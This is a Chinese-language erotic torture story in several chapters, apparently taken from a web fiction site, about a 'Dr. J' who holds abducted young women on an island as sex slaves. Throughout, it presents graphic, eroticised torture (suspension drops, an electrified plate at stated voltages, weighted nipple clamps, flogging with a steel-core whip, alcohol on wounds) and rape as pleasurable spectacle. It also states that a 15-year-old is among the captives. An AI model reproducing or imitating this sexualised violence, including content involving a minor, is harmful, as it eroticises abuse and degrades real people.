图片载入中

变态少女集中营

特大字】 【大字】 【中字】 【小字

姑娘虽然眼睛里闪着惊恐,但还是一言不发,她似乎知道在这帮毫无人性的打手们面前,任何求饶都是无济于事的,反而只能挑起他们的虐待欲,对这帮嗜血的虐待狂来说,最大的乐趣就是看着那些美丽的姑娘在他们的严刑拷打之下痛苦挣扎,听着她们发出一声声撕心裂肺的惨叫。

放开姑娘的头发,J博士狞笑着带着一种恶毒的眼光看着他面前赤身裸体的姑娘,姑娘的身体痛苦地挣扎着、扭动着,由于被反绑吊着,她的脸和上身被迫向下弯曲着,这样就使得姑娘高耸的胸部显得更为突出。

J博士贪婪地盯着姑娘那挺拔的乳房和乳房上挺立着的紫红色小花蕾,猛地伸出手去,一把抓住姑娘的乳房,狠狠地一用力,“啊∼∼!”姑娘从心底里发出了一声令人耳不忍闻的惨叫,她的脸涨得通红,屈辱的泪水再也无法忍住,开了闸似地直往下掉。对这样一个年轻的女孩来说,乳房是最敏感,最不堪虐的部位之一,怎么受得了魔爪下这样的摧残。

J博士的手下继续用着力,姑娘的乳房已经被掐得发紫,柔软的乳房上留下了五个深深的指甲印。

J博士的手底下逐渐放松,但并没有放开的意思,他的手指在姑娘的乳房上慢慢地移动着,姑娘的玉乳在他的手里惊恐地颤抖着,不知他接下来要干什么。

突然,J博士的拇指和食指捏住了姑娘的乳头,狠命地掐了下去。可怜的姑娘又是一声嘶鸣,浑身抽搐,痛不欲生。她的手臂像是被折断了似地,剧痛难忍,加之娇嫩的乳头在野兽的魔掌摧残之下的那种痛苦,根本不是人类的语言所能形容的,更远远超过了像她这样一个柔弱姑娘所能承受的范围一阵乱掐乱捏后,J博士终于意犹未尽地松开手来,向打手们一摆手︰“上刑!”打手们把绷紧了的吊绳猛地一收,随着“啊……!”地一声尖声惨叫,姑娘的双脚顿时离了地,被悬空吊了起来。

小蕾只觉得肩关节处好像针刺一样,痛得钻心,眼前金星直冒,浑身发软,冷汗直往下流,全身的重量都吃在了被吊着的双臂上。姑娘尖声惨叫着,想以此来减轻一些受刑的痛苦,她的身体在空中荡来荡去,拼命挣扎,双脚到处乱蹬,徒劳地想使脚踩在一个实处,但是由于被吊在半空中,连挣扎也用不出力,身体晃来晃去,只能更增加双臂的痛苦。

J博士似乎觉得把姑娘这样吊在空中只打转还不够过瘾,向打手们命令道︰“把她固定一下,让我好好欣赏欣赏她受刑时的样子!”

两个打手走上前去,用两条铁链分别捆住姑娘的两只脚腕,铁链的另一头则分别固定在地上的两个铁环上,这样,姑娘的身体就呈“人”字形地被吊在了空中,连最后一点挣扎的余地都没有了。她的头向下低垂着,豆大的汗珠从额头上直往下掉,把披散下来的头发粘在额头上和脸上,遮住了她的半边脸。肩关节处好像被吊得脱了臼,痛苦越来越大,巨大的痛苦还引起了一阵阵的呕吐感。

姑娘觉得自己实在受不了了,她起初还尖声地惨叫着,但越来越觉得浑身发软,痛苦不堪,连叫的力气都没有了,声音越来越轻,越来越嘶哑,最后变成了低低地呻吟。

这是一种十分残酷的刑法,深得打手们的喜爱,经常被用来拷打那些受刑的姑娘们,它的恶毒之处就在于能使人痛苦不堪,但又不至马上昏迷过去,让人受尽折磨,痛不欲生,非常适合对女性用刑。

J博士走到姑娘面前,用手中的鞭杆支起姑娘的下巴,狞笑着问道︰“这滋味怎么样?小姑娘,下回还敢不敢反抗了?哼!对付你们这些小女孩,我有的是办法,你的骨头再硬,我的刑法能把你的骨头吊散架,看你以后还敢不敢!”

小蕾的脸上汗水和着泪水直往下掉,这种惨无人道的严刑拷打对于这样一个二十多岁的年轻姑娘来说,实在是太残酷了。她的脸因为难言的痛苦而变得有些扭曲,但那双眼睛里流露出的除了痛苦的神情外,分明还有仇恨和不屈。J博士不禁愣了一下,他原以为像这样一个文弱的少女在“狼穴”的酷刑面前一定会彻底崩溃,痛哭求饶,没想到这个看似娇嫩的姑娘居然如此倔强,在严刑拷打之下居然还能射出这样的目光。

J博士老羞成怒。少女的倔强更进一步激起了她得虐待欲。他狞笑着向两个打手一摆头︰“给她脚上再加点分量!”

打手们从地上提起捆扎好的两摞青砖,走上前去,挂在了绑住姑娘脚腕的铁链上。沉重的砖头猛地往下一坠,姑娘的双腿顿时被拉得笔直,嗓子里发出一阵低哑的呻吟,伴随着全身一阵痛苦的抽搐,几十斤重的青砖加上全身的重量都吃在了姑娘被反扭着的双臂上。

姑娘的嗓子已经变得嘶哑,甚至连惨叫的力气都没有了,豆大的汗珠和着泪水滴落下来,在脚下的水泥地上积成一滩。

J博士满意地笑了,他知道这种折磨对于像小蕾这样的年轻姑娘来说特别有效。

它不仅使受刑的女性受到肉体上的折磨,更能彻底摧毁她们的自尊心和意志力,使她们完全失去抵抗的能力。这种惨痛的经历,将会深深地留在她们的记忆里,即使日后回想起来也会不寒而栗。J博士要的就是这种效果。

拷打已经进行了大约半个小时,可以看出姑娘的肩关节肯定被吊得脱了臼。可J博士似乎还觉得不过瘾。为了加深少女对第一次拷打的印象,他决定还得再好好折磨折磨小蕾,让她尝尝生不如死的感觉。

在J博士的命令下,绑住少女脚踝的铁链被解开了,打手们仔细地调整了一下少女被悬吊的高度,使得她的脚尖离地面只有大约20公分。然后,打手拉起吊绳,把少女再次吊高,离地面约有一米多。

突然,打手把手中的吊绳猛地一放,少女的身体顿时自由下落,但在脚尖离地面约20公分时,吊绳正好被绷紧,下落的身体猛然止住。在这一瞬间,下坠的力量通过绑住手腕的绳索猛地传到姑娘被反扭着的双臂。

“啊……!”可怜的少女从嗓子里发出了一声沉闷的哀嚎,她已经没有力气发出尖声惨叫了,但从少女挣扎扭动着的身躯和如雨淋般向下滚落的汗珠,不难看出她所承受的剧烈痛苦。

J博士陶醉般地欣赏着面前痛不欲生的少女,悠然点起了一枝雪茄,慢慢地吐出烟圈。他并不打算就此住手,J博士晃了晃手中的雪茄,向打手们做了个手势,小蕾的身体再一次被吊高,又再一次坠下,先前的惨像如同按了replay键一般又再次重演一遍。所不同的是,这次少女甚至连挣扎的力气都没有了──这种残酷的方法只要重复一两遍就可以十拿九稳地把姑娘双臂的各个关节都拽脱臼。

小蕾的眼前越来越模煳,人也几乎虚脱了,两条手臂好像已经不属于自己,再大的痛苦也与自己无关了。模模煳煳中只看见J博士在眼前晃来晃去。终于,在最后的一次抽搐和呻吟后,姑娘的头无力地倾覆到了胸前,昏死过去。

J博士满意地向打手们做了个手势。打手们松开吊绳,把姑娘放了下来,扔在地上,松开绑绳,又提来一桶凉水,浇到了少女的身上。

“啊……!”少女慢慢地醒来的时候呻吟了一声。一见少女醒来,两个打手上前,把她一把架起,拖到了J博士的跟前。

J博士抓住小蕾湿漉漉的头发,使她的脸仰了起来。少女的脸上流露着痛苦和绝望,但这次已经看不到原先的倔强和不屈了。她声音里带着乞求︰“饶……饶了我吧!我以后再也不反抗了!”

J博士狞笑着,这正是他要的结果。把少女的头猛地一搡,J博士向打手们命令道︰“把她带到我那里去,补昨天晚上的课!”两个打手架起小蕾,半架半拖地把她拖出了刑房。

少女集中营之二

冰冰被拖进“狼堡”地下刑房的时候,脸色煞白。少女知道,打手们又要对她进行严刑拷打了。

“狼堡”是J博士和一群虐淫狂徒建立在大海中一个无名荒岛上的少女集中营,专门用来关押、凌虐和折磨他们从各地绑架来的少女。这伙自称“狼人”的狂徒都是一些具有强烈的唯美主义趣味的家伙。他们的信条是,任何能够带来快感和享受的过程即是纯粹的审美过程,所以,对这伙虐淫狂来说,凌虐折磨年轻漂亮的少女也就如同享受美食佳酿一般,是一种极具审美快感的乐事。

“狼堡”的十几间牢房里关押着近百名绑架来的姑娘,她们大多正值18至22岁的妙龄,最大的有32岁的少妇,最小的还只是15岁的天真少女,但几乎每个人都有着楚楚动人的漂亮容貌和优美身姿,或清纯、或艳美,使人几乎以为这里是在举行选美大会。

然而被当成性奴隶的无辜少女们在这里受尽了蹂躏和摧残,要经常供那些狂徒们发泄性欲和取乐,有时,少女们被迫赤身裸体地一连几个小时地在那些虐待淫狂面前强作笑容舞之歌之,甚至被在乳头上夹上小铃铛、身上粘上羽毛或者被戴上镣铐锁链进行表演;有时被用绳索紧紧地捆绑成各种屈辱的样子,长时间地被吊起来或者绑在道具上,被狂徒们花样百出地凌辱和奸淫,有时甚至被当作装饰品来装点各种场所。

J博士就很喜欢在工作时,在他的写字间里吊上两个仔细捆绑起来的漂亮少女。那帮虐待狂们将此称之为“活雕塑”,对之乐此不疲,因而少女们那柔嫩的肌肤上也总是布满了一道道被绳索紧紧捆绑过的痕迹。可怜的少女们有泪也得往肚里咽,不能扫了匪徒们的兴,只要打手们稍有不满,她们就会受到各种惨无人道的严刑拷打,至于各种方式的奸淫则更是家常便饭。

冰冰原来学过舞蹈,所以在被绑架到“狼堡”后,经常被迫赤身裸体或者穿上各种性感服饰、摆出各种性感的甫士为“狼人”们表演不堪言状的淫舞,供他们取乐。昨天晚上的表演中,冰冰的表演稍稍有点敷衍,但是没能逃过J博士极具鉴赏力的眼睛。表演一结束,冰冰就被关进了专门用来惩戒犯规女奴的单人黑牢。

随着锁链哗啦哗啦的撞击声,冰冰被踉踉跄跄地拖到了J博士的跟前。少女赤着双脚,身上戴着镣铐锁链,套在脖子上的铁链往下一直连着手铐和脚镣,沉重的锁链使得少女举手、挪步十分艰难。

J博士狞笑着,朝少女上下打量着,似乎在考虑今天要用什么样的刑法来折磨眼前这个让她欲火中烧的少女。他隐约记得冰冰曾受过鞭刑、反绑背吊刑和电刑,今天……

想到这里,他拿定了主意,朝着少女狞笑道︰“小姑娘,今天我要好好训练你怎么跳舞!”说着,J博士向打手们一摆头︰“给小姐准备一下,让她当一回电动舞女!”

两个打手紧紧地扭住冰冰,动作熟练地除去她身上的镣铐锁链,轻而易举地剥去她身上的衣裙,三、两下就把她剥得一丝不挂。

少女被拖到了一个刑架下,打手们开始用绳索把她仔细地捆绑起来──这是“狼堡”的打手们最过瘾、最乐此不疲的事情之一。在“狼堡”里,捆绑少女对打手们而言,是一种有如仪式般重要的艺术审美过程之一。

这次,打手们用的是一种较为常规的日本式绑法──少女的双手先被绑在背后,捆住手腕的麻绳分左右绕到胸前,从乳房上下绕过,紧紧地勒住乳房,然后再回到背后交错;另一条绳子在乳沟处把乳房上下的两条绳子紧勒在一起,挤压得乳房格外突出,然后向上经过脖子两侧吊住绑在背后的手腕,绳子一收紧,少女被反绑的手腕被迫向头部屈起,没有丝毫动弹的余地;另一根绳子捆在了少女的腰上,又一根绳子在腹部勾住腰上的绳,紧紧地勒在阴蒂上,然后延伸过肛门在身后再次和手腕绑在一起。

打手们捆绑的时候下手很重,绑得很紧,冰冰痛得流下了眼泪。手指般粗的麻绳深深地勒入了少女柔嫩的肌肤里,火辣辣地刺痛,被扭曲的双臂抽筋般地疼痛,少女的全身被勒得几乎喘不过气来。

打手们在横梁下放了一张特制的低矮方桌,桌面上襄了一块铁板。打手们把冰冰拖了过来,迫使她站在了桌子上,头顶横梁上滑轮里垂下的一根绳子与她背后纵横交织的绳索捆在一起,松松地把少女吊在桌子的上方,虽然身体稍有活动的余地,但双脚无法脱离铁板的范围。

J博士饶有兴致地欣赏着少女站在铁板上赤裸着的双脚,丰满柔和的轮廓、洁白滑嫩的肉感、足弓隆起的曲线,纤巧圆润的脚踝,特别是精致细腻的脚趾,使人情不自禁地产生一种想把它们握在手中把玩的冲动──这是一双天生属于舞蹈的纤足。想到这双漂亮的秀足将要遭受的折磨,J博士不由得露出了一丝恶毒的笑意。

打手们把铁板接上了电源,J博士走到冰冰的跟前,一把抓住少女的头发,使她的脸仰了起来,J博士狞笑着︰“今天让你当一回电动舞女,好给你长点记性!”说完,把少女的头用力一搡,向打手们命令道︰“上刑!”

一个打手把电源的电压调到了80伏,然后猛地把电源开关一合。

“啊……!”地一声尖厉的惨叫,少女的双脚猛地从铁板上跳起,可随即又落在了铁板上,强烈的电流通过脚底传到全身。少女感到好像站在一块烧红的铁板上,又好像脚底有无数根钢针在刺入,痛苦不堪,全身剧烈地抽搐着,双脚不由自主地跳起来,一只脚刚跳离铁板,另一只脚又落到了上面,吊着她的绳索使她只能在这块小小的地方发了疯似地不停跳动。

可怜的少女一边尖声惨叫着,好以此来缓解一下受刑时的痛苦,一边喘着粗气,豆大的汗珠从额上、脸上和身上不断地滚落下来,和着少女屈辱的泪水一起不断地滴落到铁板上,不一会儿,就在少女的脚下积起了一大滩。少女私处的耻毛像是一块刚被浇灌过的黑草地,湿漉漉的带着水珠。

J博士和打手们满意地看着痛苦挣扎着的少女,神情如痴如醉。少女挺拔的乳峰随着每一次跳动而上下甩动,更增加了拷打时的性感,激起了打手们的虐淫欲。

这种J博士亲自发明的酷刑十分恶毒,用来折磨美丽的少女时特别具有观赏性和官能魅力,它把绳索捆绑的艺术、少女优美的裸体和受刑时痛苦的身姿融为一体,在打手们眼里,就如同观赏优美的舞蹈一样。这种酷刑是“狼堡”拷打艺术的代表作之一,深得打手们的喜爱,经常被用来折磨那些不幸的少女。

眼看着少女的喘气越来越粗,脸色煞白,脚下跳动的节奏也慢了下来。J博士下令切断电源,让冰冰站在那儿舒缓一口气。他并不想那么快就让少女昏死过去,他需要慢慢地来折磨她,把少女的痛苦尽可能地延长。受这种酷刑时身体的消耗量甚至超过一次马拉松,更别提受刑时巨大的痛苦和屈辱了。

阴蒂在少女不停的跳动中早已被紧勒在上面的粗麻绳磨破,渗出点点滴滴的鲜血,伤口直接被麻绳摩擦着,再被汗水一浸淫,顿时剧痛难忍,这种痛感更被遭淫虐带来的耻辱感所强化。

冰冰站在那里,痛苦地直喘粗气,断断续续地呻吟着︰“饶……饶……了我吧!我……我以后再也不敢了。”

“不让你吃够苦头,下次还会偷懒!”J博士狞笑着︰“别着急,小姑娘,舞会才刚刚开始呢!”

等到少女稍稍缓过了一口气,J博士又向打手一扬手︰“继续用刑!”

“啊……!啊……!”电源再次被接通,少女被迫再次痛苦地扭动着身子,尖声惨叫,双脚拼命地在铁板上跳动着,先前的一幕又被重演一遍。慢慢地,少女的尖叫声越来越轻,成了痛苦的呻吟。

等到电源再次被切断又重新被接通时,电压已被调到110伏。冰冰已经被折磨得奄奄一息,脸色惨白,浑身的汗水使得她看上去好像刚被从水里捞上来一样。任凭脚底受着电流的强烈刺激,少女再也无力像先前那样剧烈跳动了,她的身体挣扎着,人几乎已经虚脱得无法站立,只是靠那根吊着她的绳索才勉强没有倒下,双脚几乎是本能地抽搐着,想要脱离铁板,但刚刚抬离铁板几公分,又无力地掉了下来。

少女的动作越来越慢,她的眼前金星直冒,并且一阵阵地昏黑,口中吐着白沫,渐渐地连呻吟声也无法发出,只听到一声声粗重的喘气声。

终于,可怜的少女再也无力挣扎了,她的头垂到了胸前,全身瘫软着被吊在横梁的滑轮下,像一只任人屠宰的牲口,冰冰被折磨得昏死了过去。

少女集中营之三

“狼堡”荒岛,属于J博士专用的别墅。J博士的书房里,简洁明快的地中海式风格,宽大的落地玻璃窗把蔚蓝色的大海连同岛上的亚热带风景一同摄入视线,使这大自然的美景成为书房装饰的一部分。

与这美景相辉映的是室内的两具活雕塑──被用复杂、精致的绳绑艺术捆绑着悬吊起来的两名赤身裸体的少女。一名少女的手脚在身后被绑在一起,四蹄倒攒地被高高吊起,她的腰上拴着一根粗麻绳,下面吊着一块沉重的大石头。石头的重量使她的腰极不自然地弯曲着,麻绳深深地勒入腰部的皮肉中。

另一名少女的双臂被反绑在背后,吊在天花板上的一个铁环下,吊绳收得很紧,少女只得竭力踮起脚尖,才能让脚趾──一只脚的脚趾勉强够到地面;少女的另一条腿的大腿和脚踝被另两根绳索捆住吊了起来,纤巧的秀足举过了头顶。这种捆绑悬吊的方式能使少女最隐秘的部位得以充分展示,因而具有极强的情色魅力。

少女的一对乳房被粗麻绳用捆乳术紧紧地绑着,血管丰富的乳房已经被勒得青紫。乳白色的精液正从她的阴道中流出,顺着大腿根部往下淌──显然,这名少女刚被J博士“享用”过。

J博士心满意足地披上了一件睡袍,舒适地把自己埋进了柔软的沙发中。

立刻,一张茶悄无声息地移了过来。寻常的玻璃桌面,上面放着雪茄烟盒和烟具,还有一杯刚调制好的“蒙哥马利”鸡尾酒。

不寻常的是桌子的四只脚,严格地说,这张桌子并不是有四只脚,而是两只手和两只脚──纤巧圆润的少女的双手和双脚。

一个赤身裸体的少女,低着头,双手和膝盖着地,背上背负着玻璃的茶桌面。桌面被几根皮带牢固地绑在她的身上。“狼堡”的狼人们对女奴的训练显然十分有素,少女在地上爬行的动作迅速而又平稳,杯中的酒只有少许的晃动。在J博士的书房中,这种人体茶被要求时刻跟随在J博士的身边,不管J博士在宽大书房的任何位置,只要一伸手就必须能拿到他需要的雪茄和酒。

J博士端起了茶上面的“蒙哥马利”,这是由Martini与十五份Gin和一份Vermouth兑成的非常man的酒,因为英国元帅蒙哥马利非常喜欢在出征前饮用而得名。在享用过美少女的肉体后再来品味这种酒无疑是最合适不过的,它特别能强化男人征服女性肉体后的快感。

J博士啜了一口酒,舒适地把双腿往茶上一搁。

“哗啦啦……”一阵乱响,茶上的烟盒、烟具翻到了地上。少女用这种低头弯腰的姿势已经伺候了一个小时,本来已极度疲劳,加上稍一走神,在J博士把脚搁上去的时候失去了平衡。

可怜的少女脸色煞白,又不敢直起身来,直得一个劲地叩头求饶︰“饶,饶了我吧!下次再也不会这样了!”她知道,J博士决不会轻易饶恕这种错误的。

J博士的两个贴身保镖在听到房里的动静后早已冲了进来,站在一边等待J博士的吩咐。

J博士啜饮着手中的鸡尾酒,很长时间一言不发地欣赏着被恐惧笼罩着的少女。有的时候用恐惧感来折磨女性,比直接用刑具折磨更具有独特的趣味。

很长时间,J博士终于开了口︰“看来这个小姑娘被宠坏了,下跪的姿势还不太熟练。”一转头向保镖们吩咐道︰“先在这里让她练练,晚上我再好好教训她!”两个保镖兼打手立刻应声而动。

※※※※※

J博士的书房里,这位名叫王琳的女奴已经开始了“训练”。她的双臂被紧紧地反绑着,双腿和双脚也被好几道绳索捆绑着,一道紧紧地捆住大腿,一道捆住小腿,另一道则捆住脚腕,就连两只大脚拇趾也被细麻绳紧紧地绑在一起。当然,捆乳术更是必不可少的。

琳琳被迫跪在地上,膝盖下垫着一根有着锋利角的三角铁,她的一头秀发被用绳子拴着吊在天花板上,使得少女只能挺直了身体长跪着。

三角铁的角像刀一般锋利,膝盖处的软骨本来就缺少肌肉或脂肪的保护,被全身的重量直接压在刀一样的三角铁上,真正感到了刺骨的剧痛,痛得钻心。

黄豆大的汗珠像下雨一样从少女的额头滚落,和着屈辱的泪水滴到了地上。她好想大声叫出声来,她觉得叫出声来能够减轻一些这种难以忍受的痛苦,可是两道绳索勒着她的嘴,在脑后紧紧地打了个结,使她无法发出喊叫,只能从嘴里传出一阵阵含煳不清呜咽呻吟。

J博士衔着雪茄,把脚架在茶上──当然是新换的另一张人体茶。他颇有兴致地欣赏着眼前痛苦挣扎着的少女,被用这种方法捆绑吊着,少女实际上没有多少挣扎的余地,但正是这种极度拘束下的些微挣扎才更具有官能魅力。

J博士显然还不满足,他站起身来,走到少女的面前,手里拿着两个电工夹线用的鳄鱼钳,上面带有尖利的锯齿。一伸手,J博士抓住了琳琳的左乳。少女的乳房娇小盈握,但紧密挺拔,比之豪乳又有一种别样的情致。乳房上小花蕾般的乳头只有黄豆般大小。J博士用手指捏住少女的乳头,用力向外一拽,然后松开手,在乳头尚未完全恢复原状的时候,J博士把鳄鱼钳夹在了少女细小的乳头上。

“呜……!呜……!”少女的身体又是一阵颤抖,从喉头发出一阵哀嚎。

鳄鱼钳的尖齿刺入了乳头娇嫩的皮肉里,不一会,就有一丝丝殷红的鲜血渗出,泄红了锯齿。少女的乳头是她身上最为娇嫩、敏感和珍爱的地方之一,如何受得了这样的摧残。J博士如法炮制在少女的另一个乳头上也夹上了鳄鱼钳。

当然,这还只是开始。接着,J博士把两个铁块分别吊在两个鳄鱼钳上。

铁块向下一坠,少女细小的乳头顿时被拉长到了一公分。特别是乳头根部被拽得又细又长,好像就要被从乳房上撕落下来一样。几滴清泪从少女得脸上滴落到乳房上,滑动着。鳄鱼钳下吊着得铁块不停地晃动,连带着乳房也在不住地颤动,那几滴泪珠也随之很快滴落到地上,消失了。可是,少女的煎熬却不会很快结束,她不知道这种残酷的折磨还要持续多久,但她知道晚上肯定还有更毒辣的酷刑在等待着她。

书房里回响着《自新大陆》第二乐章的宁静慢板,由印第安灵歌衍生而来的旋律衬托着少女痛苦的呻吟,显得格外地凄惨,令人肝肠为断,这种声音组合的效果竟然是那么出人意料的和谐。

※※※※※

阴森可怖的“狼堡”地下刑房里,赤身裸体的少女被吊在屋中央的刑架上。琳琳的双臂被反扭在背后,刑架上的滑车里垂下的绳索分别绑住她的两只手腕,吊绳收得很紧,使她不得不吃力地踮起双脚才能让脚尖刚够着地面,她的双臂被吊得又酸又痛,痛苦难忍。少女的头低垂着,长长的头发披散下来,遮住了她的半边脸,额头上豆大的汗珠直往下掉。

J博士走到无助地挣扎着的琳琳面前,托起她的下巴,看着她的眼睛。少女知道现在什么样的求饶都是无济于事的,只能更激起这帮打手的虐淫欲。整整半天的折磨摧残反而使少女变得倔强起来,琳琳紧闭着嘴,一声不吭。

J博士冷笑了一声,把少女的头用力一搡,他决定今天亲自动手来过过拷打美少女的瘾。

J博士从墙上挂着的一排鞭子中选了一根又粗、又长的,走上前,试着挥了挥。然后,黑色的皮鞭被高高地抡起,狠狠地朝少女赤裸着的背上抽去。

“嗖……!”的一道尖厉的啸声,像是绸布被人用力撕开的声音,皮鞭带着风声抽到了少女的身上。

随着少女“啊……!”地一声撕心裂肺的惨叫,细嫩的肌肤像用剃刀划过似地齐斩斩地被撕开,少女的背上顿时显出一条又红又肿的鞭痕,血红血红的肉鼓鼓地向外翻着,鲜血立即流了出来,这种粗牛皮鞭抽下来的劲很大,连五脏六腑都被震动了,引起了一阵呕吐感。

J博士走近琳琳的身后,仔细查看着鞭打造成的伤痕。血红血红的鞭痕刻在少女洁白柔嫩的肌肤上,对比十分强烈,在虐淫狂的眼中具有一种特别的美感。

J博士鞭打的节奏并不快,每抽一鞭,他就稍停片刻,仔细查看一下鞭打在少女身上造成的效果。他并不想让少女很快昏死过去,他要把少女的痛苦尽量延长。虐淫的真谛并不在于最后的结果,而在于充分享受施虐过程所带来的官能快感。

“呵……!”

“呵……!”

J博士左右开弓地挥舞着皮鞭,恶狠狠地朝少女赤裸着的背部,臀部和修长迷人的腿上抽去,鞭鞭见血。琳琳被打得死去活来,痛不欲生,特别是当皮鞭唿啸着从空中抽到皮肉上的那一瞬间,那种彻心彻肺的剧痛简直难以形容,连一辈子都忘不了。

先是皮鞭重重地打击到肉体上产生的那种沉闷的撞痛,鞭打的冲击力使内脏翻江倒海般感觉好像挪了位,接着是皮鞭撕开皮肉时尖厉的刺痛,然后是鞭子带着被抽飞的皮肉和血珠离开身体,给伤口留下的火辣辣的灼痛。所有这一切只是发生在短短的一瞬间,但产生的痛楚极其强烈,足以持续到下一次鞭击。

可怜的姑娘尖声惨叫着,想以此来减轻一些酷刑的痛苦,她的身子随着皮鞭的抽打而痛苦地抽搐着、挣扎着。鞭刑是所有酷刑中最古老的,古今中外所发明的鞭刑种类不下数十种,但由于皮鞭使用方便,拷打的效果显着,所以历数千年而生命力犹在,至今仍是最常用的拷打方法之一。

J博士走到琳琳的面前,一把抓住她的头发,使少女的脸仰了起来,“这么漂亮的身段,刻满鞭痕会变得更性感的,还会让你好好记住今天的教训!”

少女的脸由于难言的痛苦而变得有些扭曲了,原先那双明澈的眼睛里现在流露出的只有绝望和满含怨毒的仇恨。

J博士把少女的头用力一搡,狞笑着向打手们命令道︰“给小姐好好洗洗伤口,这样浑身是血的多不好看!”

两个打手拿来一瓶酒精,走到少女背后,把酒精浇在了少女的背上,然后用手在少女满是鞭痕的背上涂抹着,少女顿时从嗓子里发出了一阵令人耳不忍闻的惨叫,只觉得伤口处像火烧火燎一样剧痛难忍,她浑身抽搐着,徒劳地挣扎着。

酒精和着血水从背上流过少女修长的双腿,最后顺着脚背到脚尖在地上滴落了一大滩。皮开肉绽的伤口在酒精的烧灼下所产生的那种痛苦,没有受过这种非人折磨的人是简直无法想像的,即使是男人也很难承受得了这种酷刑,更何况这样一个年轻娇嫩的少女呢?

琳琳被折磨得死去活来,拼命挣扎着──实际上被用J博士发明的这种捆绑吊打方式吊起来受刑,已经没有什么挣扎的余地了。由于被吊在刑架上的时间太长,少女踮起着的脚尖已经很难支持全身的重量了,这样吃在双臂上的分量就更重,肩关节针刺般地剧痛难忍,手臂好像快断了似的,额头上豆大的汗珠直往下掉。琳琳的惨叫声已经嘶哑了,她觉得自己快要受不了了,她宁自己就这样死去,也不要再承受这样的严刑拷打。

J博士又一次抓起琳琳的头发,使少女的脸仰起来。琳琳的长发披散开来,和着汗水、泪水一起粘在额头、脸庞上,脖颈涨得老粗。J博士恶毒地狞笑着︰“知道了没有?在这里没有犯错误的余地,不然我让你死不了,活不成!”

琳琳的牙齿紧咬着下唇,竭力承受着难言的痛苦,从牙缝中发出一声声哀嚎般的嘶鸣。披散的头发遮住了她的半边脸,少女的脸涨得通红,巨大的痛苦使她的脸也变得扭曲了。

松开琳琳的头发,J博士觉得意犹未尽,他还想在少女的身上试试更厉害的鞭刑。鞭刑中使用的皮鞭其实是很有讲究的。不同的场合常常需要选用不同的皮鞭。比如熟牛皮做成的皮鞭能在肉体上产生红肿的鞭痕,但一般不会皮破血流,比较适合在虐淫活动开始之前进行仪式性的鞭打,产生很好的装饰性效果,属于softcore类;而生牛皮编成的皮鞭可以使人皮开肉绽,产生hardcore的效果,特别适合于惩戒性的拷打,其痛苦可以让人终生难忘。

J博士今天想试试特别一点的,他从墙上挂满了鞭子的架子上选了一根弹簧鞭。这种鞭子是由软钢条外缠绕上牛皮条制成,软钢条既硬又富有弹性,一鞭子下来劲很大,抽到身上除了把肌肤像用刀子似地深深地撕开,那种冲击力还常常能把人的内脏震坏,活活地把人打死。这是一种极为残酷的刑具,通常只是在需要不惜手段进行严刑拷问时,或是故意想把人往死里打时才用,但今天J博士兴之所至,竟不惜对这样一个犯了点小过失的十九岁娇嫩少女动用了如此残忍的酷刑。

J博士再次抡起皮鞭朝琳琳赤裸着的背上、臀部和腿上抽去,毒蛇似的皮鞭继续不断地舔噬着少女的身体,留下了一道道的血痕,刚抽了七、八下,少女的背上就已经布满了鞭痕,抽到十几下时,身上已经没有一块好肉了。刑房里J博士挥动鞭子时的喝叫声,皮鞭撕裂空气抽到皮肉上的嗖嗖声和少女撕心裂肺的尖声惨叫混成一片,令人毛骨悚然。

少女的背上鞭痕纵横交错,身上满是一道道绽开的伤口,血红血红的皮肉肿胀着,难看地向外翻着,鲜血直往外流。由于被吊在刑架上的时间太长,踮起的脚尖已经没有力气来支持整个身体的重量了,绑绳深深地勒进了手腕上的肉里,双臂痛得钻心,她的眼前金星直冒,身子随着皮鞭的抽打而无力地挣扎着。

终于,J博士停了下来。她再次走到被打得死去活来的少女面前。琳琳已经处于半昏迷状态,就像屠宰场里一块血淋淋的肉似地被吊在刑架上。仅仅半个小时,就已经很难想像少女原先让人气喘心跳的娇美躯体是什么样子的了。琳琳被打得遍体鳞伤,满身是血,头无力地倾覆到了胸前,脸色惨白,沉重地喘着气,嘴唇已经被牙齿咬破了,赤裸的身上和修长的腿上那光洁、柔嫩的肌肤上布满了一道道令人惨不忍睹的鞭痕,又红又肿,原先苗条可爱,楚楚动人的少女已经被折磨得不成样子了。

她原先还尖声惨叫着,但随着拷打的进行,叫声越来越轻,渐渐地变成了呻吟,最后终于连呻吟的力气都没有了。少女被折磨得痛不欲生,她觉得自己整个身体的神经好像都暴露在外面,即使是最轻微的触摸或动作也会引起周身一阵阵的疼痛。透过眼前蒙着的一层白翳,她看见了J博士走上前来的身影,看见他狰狞的脸凑到她面前。

少女的头耷拉着,任凭J博士如何嚎叫而毫无反应,她已经被拷打得昏死了过去。

少女集中营之四

随着一阵“哗啦啦”的乱响,铁栅的牢门被打开了,两个打手把晓慧架了出来,抓着她的头发,几乎是把她在地上拖着朝刑房拉去。

晓慧和文卿是警局负责犯罪电脑档案管理的警员,她们是在休假的时候与另外两个女友一起被绑架的。歹徒们原来只是因为这几个女孩的青春亮丽才决定把她们绑回“狼堡”作为性奴隶,但在从晓慧和文卿身上搜出的证件上发现了她们的真实身份,于是立即对这两位女警员产生了特别的兴趣。

女警们被押到了设在这座荒岛上的“狼堡”集中营里。J博士很想进入警局机密的犯罪电脑档案库中,看看警局在那些少女神秘失踪案中到底对他们这个魔鬼组织了解多少,有没有什么线索落在警局手里,特别是想了解警局在各个黑帮团伙中卧底和线人的秘密。有了这些机密资料,足以保证以后在与警察的周旋中立于不败之地,而且还能靠向其它黑帮提供这些资料,强化“狼堡”在各黑帮中的领袖地位。于是,J博士想方设法要逼晓慧和文卿交出电脑档案的进入密码。

晓慧和文卿当然知道这些机密资料一旦落到J博士手中对警局意味着什么,无论J博士和打手们如何威逼,她们始终闭口不言,坚不吐实。

J博士恼羞成怒,下令对两位女警进行了惨无人道的严刑拷打。打手们原以为这样两个刚出警校门的女孩子只是不知天高地厚罢了,凭“狼堡”中收藏的古今中外各种酷刑,只要随便挑两种就能让她们开口,没想到这两个看似娇嫩的少女却是那样难以想像的坚强,尽管打手们在审讯时严刑拷问,把她们打得死去活来,但晓慧和文卿始终坚贞不屈,没有吐露一个字的秘密。

从她们两个女友的口中,打手们得知晓慧和文卿的假期将会在一个星期后结束,于是决定加快拷问的进程,因为他们知道,一旦在她们的假期结束后,警局发现这两位女警失踪,就会立即更改电脑密码。所以尽管昨天才刚对少女们用过刑,J博士还是决定今天继续拷问。现在先轮到的是晓慧。

